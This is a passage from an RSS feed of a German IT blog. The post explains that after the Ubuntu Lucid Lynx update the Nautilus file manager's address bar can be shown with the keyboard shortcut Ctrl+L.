			<content:encoded><![CDATA[<p>Da im <strong>Nautilus Dateimanager</strong> in Ubuntu seit dem letzten Update auf <strong>Lucid Lynx</strong> die Adresszeile nicht mehr standardmäßig wie ein Textfeld editieren werden kann, musste ich mir mal wieder die <strong>Tastenkombination</strong> heraussuchen um die <strong>Adresszeile anzuzeigen</strong>:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
</pre></td><td class="code"><pre class="php" style="font-family:monospace;">STRG <span style="color: #339933;">+</span> L</pre></td></tr></table></div>

<p>Viel Spaß! <img src='http://blog.bf-itservice.de/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://blog.bf-itservice.de/373/ubuntu-nautilus-tastenkombination-fur-adresszeile/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

